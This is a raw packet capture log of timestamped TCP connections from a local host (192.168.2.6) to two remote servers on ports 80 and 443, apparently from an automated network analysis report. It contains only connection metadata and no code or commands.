Oct 8, 2024 18:23:59.889595985 CEST	80	61427	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:59.890937090 CEST	80	61427	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:59.891017914 CEST	61427	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:59.891118050 CEST	61427	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:59.895513058 CEST	61428	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:59.896193027 CEST	80	61427	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:59.900557995 CEST	80	61428	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:59.900743961 CEST	61428	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:59.901226997 CEST	61428	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:59.901226997 CEST	61428	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:59.906516075 CEST	80	61428	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:59.906546116 CEST	80	61428	160.177.223.165	192.168.2.6
Oct 8, 2024 18:24:00.795069933 CEST	80	61428	160.177.223.165	192.168.2.6
Oct 8, 2024 18:24:00.795504093 CEST	80	61428	160.177.223.165	192.168.2.6
Oct 8, 2024 18:24:00.795609951 CEST	61428	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:24:00.796919107 CEST	61428	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:24:00.798310995 CEST	61429	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:24:00.801898956 CEST	80	61428	160.177.223.165	192.168.2.6
Oct 8, 2024 18:24:00.803302050 CEST	80	61429	160.177.223.165	192.168.2.6
Oct 8, 2024 18:24:00.803388119 CEST	61429	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:24:00.807672024 CEST	61429	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:24:00.807698011 CEST	61429	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:24:00.812616110 CEST	80	61429	160.177.223.165	192.168.2.6
Oct 8, 2024 18:24:00.812802076 CEST	80	61429	160.177.223.165	192.168.2.6
Oct 8, 2024 18:24:01.753901005 CEST	80	61429	160.177.223.165	192.168.2.6
Oct 8, 2024 18:24:01.754229069 CEST	80	61429	160.177.223.165	192.168.2.6
Oct 8, 2024 18:24:01.754405022 CEST	61429	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:24:01.754405022 CEST	61429	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:24:01.756721973 CEST	61430	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:24:01.759344101 CEST	80	61429	160.177.223.165	192.168.2.6
Oct 8, 2024 18:24:01.761559010 CEST	80	61430	160.177.223.165	192.168.2.6
Oct 8, 2024 18:24:01.761646986 CEST	61430	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:24:01.761770964 CEST	61430	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:24:01.761794090 CEST	61430	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:24:01.766714096 CEST	80	61430	160.177.223.165	192.168.2.6
Oct 8, 2024 18:24:01.766753912 CEST	80	61430	160.177.223.165	192.168.2.6
Oct 8, 2024 18:24:02.629125118 CEST	80	61430	160.177.223.165	192.168.2.6
Oct 8, 2024 18:24:02.629772902 CEST	80	61430	160.177.223.165	192.168.2.6
Oct 8, 2024 18:24:02.629837990 CEST	61430	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:24:02.629887104 CEST	61430	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:24:02.634850979 CEST	80	61430	160.177.223.165	192.168.2.6
Oct 8, 2024 18:24:19.709445953 CEST	61433	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:19.709477901 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:19.709700108 CEST	61433	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:19.709948063 CEST	61433	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:19.709959030 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:20.357861042 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:20.359400034 CEST	61433	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:20.360177994 CEST	61433	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:20.360184908 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:20.360584021 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:20.366446972 CEST	61433	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:20.366478920 CEST	61433	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:20.366485119 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:20.818363905 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:20.818398952 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:20.818459034 CEST	61433	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:20.818495035 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:20.855731010 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:20.855799913 CEST	61433	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:20.855837107 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:20.856662989 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:20.856715918 CEST	61433	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:20.856726885 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:20.907761097 CEST	61433	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:20.908623934 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:20.908646107 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:20.908688068 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:20.908761024 CEST	61433	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:20.908818007 CEST	61433	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:20.908835888 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:20.909770012 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:20.909782887 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:20.909820080 CEST	61433	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:20.909832954 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:20.909868002 CEST	61433	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:20.948129892 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:20.948196888 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:20.948220015 CEST	61433	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:20.948267937 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:20.948288918 CEST	61433	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:20.958904982 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:20.958916903 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:20.958977938 CEST	61433	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:20.959017038 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:20.979270935 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:20.979280949 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:20.979345083 CEST	61433	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:20.979402065 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:20.979782104 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:20.979800940 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:20.979821920 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:20.979837894 CEST	61433	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:20.979854107 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:20.979878902 CEST	61433	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:20.979878902 CEST	61433	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:20.999576092 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:20.999623060 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:20.999675035 CEST	61433	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:20.999716997 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:20.999736071 CEST	61433	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:21.000010967 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:21.000049114 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:21.000072002 CEST	61433	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:21.000092983 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:21.000112057 CEST	61433	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:21.038589954 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:21.038655043 CEST	61433	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:21.038681984 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:21.038883924 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:21.038893938 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:21.038937092 CEST	61433	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:21.038950920 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:21.039921045 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:21.039931059 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:21.039973974 CEST	61433	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:21.039983034 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:21.057082891 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:21.057092905 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:21.057142973 CEST	61433	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:21.057167053 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:21.070148945 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:21.070158958 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:21.070219040 CEST	61433	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:21.070244074 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:21.070842028 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:21.070852041 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:21.070885897 CEST	61433	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:21.070899010 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:21.070915937 CEST	61433	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:21.071770906 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:21.071813107 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:21.071816921 CEST	61433	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:21.071839094 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:21.071858883 CEST	61433	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:21.072858095 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:21.072916985 CEST	61433	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:21.072928905 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:21.090287924 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:21.090490103 CEST	61433	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:21.090506077 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:21.090766907 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:21.090806961 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:21.090822935 CEST	61433	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:21.090831995 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:21.090852976 CEST	61433	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:21.091420889 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:21.091489077 CEST	61433	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:21.091499090 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:21.109209061 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:21.109266043 CEST	61433	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:21.109286070 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:21.129412889 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:21.129427910 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:21.129475117 CEST	61433	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:21.129501104 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:21.129640102 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:21.129648924 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:21.129682064 CEST	61433	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:21.129693031 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:21.129712105 CEST	61433	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:21.130511045 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:21.130570889 CEST	61433	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:21.130580902 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:21.131014109 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:21.131066084 CEST	61433	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:21.131077051 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:21.131629944 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:21.131686926 CEST	61433	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:21.131702900 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:21.132226944 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:21.132275105 CEST	61433	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:21.132288933 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:21.147943020 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:21.148025036 CEST	61433	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:21.148056030 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:21.148391962 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:21.148444891 CEST	61433	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:21.148461103 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:21.161248922 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:21.161308050 CEST	61433	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:21.161318064 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:21.161835909 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:21.161900043 CEST	61433	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:21.161905050 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:21.162472963 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:21.162540913 CEST	61433	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:21.162547112 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:21.162839890 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:21.162913084 CEST	61433	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:21.162920952 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:21.181178093 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:21.181243896 CEST	61433	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:21.181265116 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:21.181301117 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:21.181308985 CEST	61433	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:21.181344032 CEST	61433	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:21.181432009 CEST	61433	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:21.181447983 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:21.181458950 CEST	61433	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:21.181463957 CEST	443	61433	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:21.208003998 CEST	61434	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:21.208034039 CEST	443	61434	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:21.208177090 CEST	61434	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:21.208498955 CEST	61434	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:21.208513021 CEST	443	61434	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:21.802596092 CEST	443	61434	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:21.802736998 CEST	61434	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:21.803956032 CEST	61434	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:21.803976059 CEST	443	61434	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:21.804213047 CEST	443	61434	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:21.816613913 CEST	61434	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:21.816658020 CEST	61434	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:21.816670895 CEST	443	61434	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:22.092546940 CEST	443	61434	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:22.092622042 CEST	443	61434	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:22.092680931 CEST	61434	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:22.092972994 CEST	61434	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:22.092972994 CEST	61434	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:22.093002081 CEST	443	61434	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:22.093014956 CEST	443	61434	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:22.101075888 CEST	61435	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:22.101128101 CEST	443	61435	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:22.101218939 CEST	61435	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:22.101661921 CEST	61435	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:22.101680040 CEST	443	61435	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:22.708745956 CEST	443	61435	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:22.708833933 CEST	61435	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:22.709991932 CEST	61435	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:22.710005045 CEST	443	61435	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:22.710763931 CEST	443	61435	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:22.715970039 CEST	61435	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:22.715993881 CEST	61435	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:22.716006994 CEST	443	61435	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:23.001277924 CEST	443	61435	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:23.001378059 CEST	443	61435	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:23.001435995 CEST	61435	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:23.001955986 CEST	61435	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:23.001983881 CEST	443	61435	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:23.001998901 CEST	61435	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:23.002006054 CEST	443	61435	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:23.013886929 CEST	61436	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:23.013931036 CEST	443	61436	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:23.014015913 CEST	61436	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:23.014282942 CEST	61436	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:23.014300108 CEST	443	61436	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:23.600522995 CEST	443	61436	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:23.600596905 CEST	61436	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:23.601746082 CEST	61436	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:23.601757050 CEST	443	61436	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:23.602418900 CEST	443	61436	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:23.603205919 CEST	61436	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:23.603220940 CEST	61436	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:23.603286982 CEST	443	61436	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:23.881151915 CEST	443	61436	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:23.881237984 CEST	443	61436	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:23.881304026 CEST	61436	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:23.896421909 CEST	61436	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:23.896421909 CEST	61436	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:23.896446943 CEST	443	61436	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:23.896456003 CEST	443	61436	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:23.902765036 CEST	61437	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:23.902812004 CEST	443	61437	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:23.902882099 CEST	61437	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:23.903140068 CEST	61437	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:23.903156996 CEST	443	61437	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:24.555296898 CEST	443	61437	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:24.555428028 CEST	61437	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:24.556607008 CEST	61437	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:24.556622028 CEST	443	61437	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:24.556955099 CEST	443	61437	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:24.559094906 CEST	61437	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:24.559094906 CEST	61437	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:24.559118986 CEST	443	61437	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:24.867444038 CEST	443	61437	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:24.867532015 CEST	443	61437	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:24.867679119 CEST	61437	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:24.872977972 CEST	61437	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:24.872977972 CEST	61437	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:24.873003006 CEST	443	61437	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:24.873022079 CEST	443	61437	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:24.880924940 CEST	61438	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:24.880955935 CEST	443	61438	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:24.881118059 CEST	61438	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:24.881345987 CEST	61438	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:24.881362915 CEST	443	61438	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:25.490216970 CEST	443	61438	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:25.490916967 CEST	61438	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:25.494179010 CEST	61438	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:25.494194984 CEST	443	61438	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:25.494455099 CEST	443	61438	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:25.495141983 CEST	61438	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:25.495171070 CEST	61438	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:25.495177031 CEST	443	61438	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:26.230359077 CEST	443	61438	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:26.230529070 CEST	443	61438	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:26.230608940 CEST	61438	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:26.246352911 CEST	61438	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:26.246392012 CEST	443	61438	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:26.246411085 CEST	61438	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:26.246418953 CEST	443	61438	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:26.473931074 CEST	61439	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:26.473999977 CEST	443	61439	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:26.474065065 CEST	61439	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:26.474409103 CEST	61439	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:26.474431992 CEST	443	61439	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:27.080198050 CEST	443	61439	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:27.080270052 CEST	61439	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:27.082072020 CEST	61439	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:27.082087040 CEST	443	61439	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:27.082304001 CEST	443	61439	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:27.083066940 CEST	61439	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:27.083113909 CEST	61439	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:27.083122969 CEST	443	61439	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:27.381908894 CEST	443	61439	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:27.381967068 CEST	443	61439	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:27.382041931 CEST	61439	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:27.382155895 CEST	61439	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:27.382179022 CEST	443	61439	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:27.382200956 CEST	61439	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:27.382208109 CEST	443	61439	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:27.386852980 CEST	61440	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:27.386953115 CEST	443	61440	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:27.387080908 CEST	61440	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:27.387315989 CEST	61440	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:27.387352943 CEST	443	61440	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:27.998956919 CEST	443	61440	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:27.999073982 CEST	61440	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:28.000135899 CEST	61440	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:28.000174046 CEST	443	61440	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:28.000953913 CEST	443	61440	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:28.001703978 CEST	61440	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:28.004055023 CEST	61440	443	192.168.2.6	23.145.40.168
